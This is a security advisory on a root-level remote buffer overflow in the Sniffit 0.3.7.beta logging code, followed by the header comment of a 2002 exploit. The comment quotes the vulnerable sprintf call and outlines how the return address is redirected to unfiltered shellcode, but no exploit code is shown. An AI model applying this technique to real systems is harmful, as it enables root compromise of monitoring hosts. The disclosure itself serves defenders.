Sniffit is a freely available, open source network monitoring tool. It is designed for use on the Unix and Linux Operating Systems.
 
Sniffit contains a remotely exploitable buffer overflow vulnerability. If Sniffit is configured to log emails, attackers may be able to exploit a stack overflow in the logging mechanism and execute arbitrary code as root on the underlying host.
 
There may be other buffer overflow vulnerabilities in sniffit related to the logging mechanism. There are several suspicious instances of sprintf() in the logging functions. Administrators are advised to use more actively supported alternatives such as Snort or dsniff.

/*

   Remote overflow in sniffit.0.3.7.beta
   tested on slackware 7.1
   found/coded by g463
   -18th january 2002-

   The vulnerability is triggered when the option -L is
called from the
   command line with 'normmail'
   ie : ./sniffit -c ./sample_config_file -L normmail
   It calls a piece of code where the buffer is
unchecked

       //From sniffit.0.3.7.beta/sn_logfile.c
       void print_mail (char *conn, char *msg)
       {
       char line[250];
       sprintf(line,"%s: mail [%s]",conn,msg);
       print_logline (line);
       }

       -  In a normal situation, it could be easier to fill line
[250] with our
       shellcode,  but  since  this buffer  gets filter  with
some kind of
       strlower() function  (thus our shellcode/return
adress too), i rely
       on an unfiltered buffer with the same data so we
can point eip back
       at that place with clean, unmodified shellcode :D

+ some others i forget :p
